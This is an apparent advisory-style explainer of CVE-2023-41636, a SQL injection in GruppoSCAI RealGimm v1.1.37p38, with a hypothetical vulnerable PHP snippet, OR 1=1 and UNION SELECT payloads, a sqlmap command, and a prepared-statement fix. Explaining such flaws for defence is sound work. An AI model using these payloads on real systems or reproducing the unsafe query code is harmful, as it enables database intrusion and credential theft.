CVE-2023-41636 - Inside the SQL Injection Flaw in GruppoSCAI RealGimm v1.1.37p38

In late 2023, a critical security flaw titled CVE-2023-41636 was discovered in the Data Richiesta dal parameter of GruppoSCAI RealGimm v1.1.37p38. This vulnerability is classified as a SQL Injection flaw, and attackers can exploit it to steal sensitive data or even take control of the underlying database.

This guide walks you through what CVE-2023-41636 is, how attackers can exploit it, code examples, and how to protect against it.

What Is CVE-2023-41636?

This CVE targets a specific input field: the Data Richiesta dal parameter in RealGimm, a web management tool from GruppoSCAI. Due to weak validation, malicious users can inject custom SQL commands directly into database queries through this parameter.

In simple terms: If a website uses RealGimm v1.1.37p38 and doesn’t properly check user input in certain forms, a hacker can mess with the database by sneaking in extra commands.

How Does the Attack Work?

The flaw lies in how the web application handles the Data Richiesta dal value from user input. When this value is pushed straight into an SQL statement without sanitizing or escaping, it opens the door to injection.

Suppose the server’s backend PHP code looks like this

// Unsafe example – vulnerable to SQL Injection
$date = $_GET['Data_Richiesta_dal'];
$sql = "SELECT * FROM richieste WHERE data_richiesta >= '$date'";
$result = mysqli_query($conn, $sql);

If an attacker enters something like this as the Data_Richiesta_dal value

2022-01-01' OR 1=1; --

The final query becomes

SELECT * FROM richieste WHERE data_richiesta >= '2022-01-01' OR 1=1; --'

Because OR 1=1 is always true, the query returns all records, bypassing the filter. Attackers can even chain more malicious payloads to extract data or manipulate the database.

Exploit Example

To test for this vulnerability, tools like sqlmap are commonly used. Here's a demonstration of how a basic exploit could look:

Using sqlmap

sqlmap -u "http://target-site.com/page.php?Data_Richiesta_dal=2023-01-01"; --risk=3 --level=5 --dbs

Sqlmap will try to inject SQL payloads and list all available databases if the site is vulnerable.

Suppose you want to extract user data. An attacker might send

Data_Richiesta_dal=2023-01-01' UNION SELECT username, password FROM users; --

This injects an extra query and can leak the entire users table, exposing usernames and hashed passwords.

Impact

- Data Theft: Sensitive data like usernames, passwords, emails, and financial records can be extracted.

Protecting Your Application

If You Use RealGimm v1.1.37p38:
- Update Immediately: Check GruppoSCAI official site for patches or upgrades.

Example of Safe Code

// Secure example using prepared statements
$date = $_GET['Data_Richiesta_dal'];
$stmt = $conn->prepare("SELECT * FROM richieste WHERE data_richiesta >= ?");
$stmt->bind_param("s", $date);
$stmt->execute();
$result = $stmt->get_result();

References and Further Reading

- NVD Entry for CVE-2023-41636
- Exploit Database Listing
- GruppoSCAI Official Website
- OWASP – SQL Injection

Conclusion

CVE-2023-41636 is a textbook example of why sanitizing input is critical. If you’re running software like GruppoSCAI’s RealGimm v1.1.37p38, patch immediately and review your code for similar weaknesses. Even a single overlooked parameter can expose your entire database to attackers!

Stay vigilant and secure your inputs.

*This article is exclusive for educational awareness. Do not exploit systems you do not have permission to test.*

Timeline

Published on: 08/31/2023 14:15:08 UTC
Last modified on: 11/07/2023 04:21:03 UTC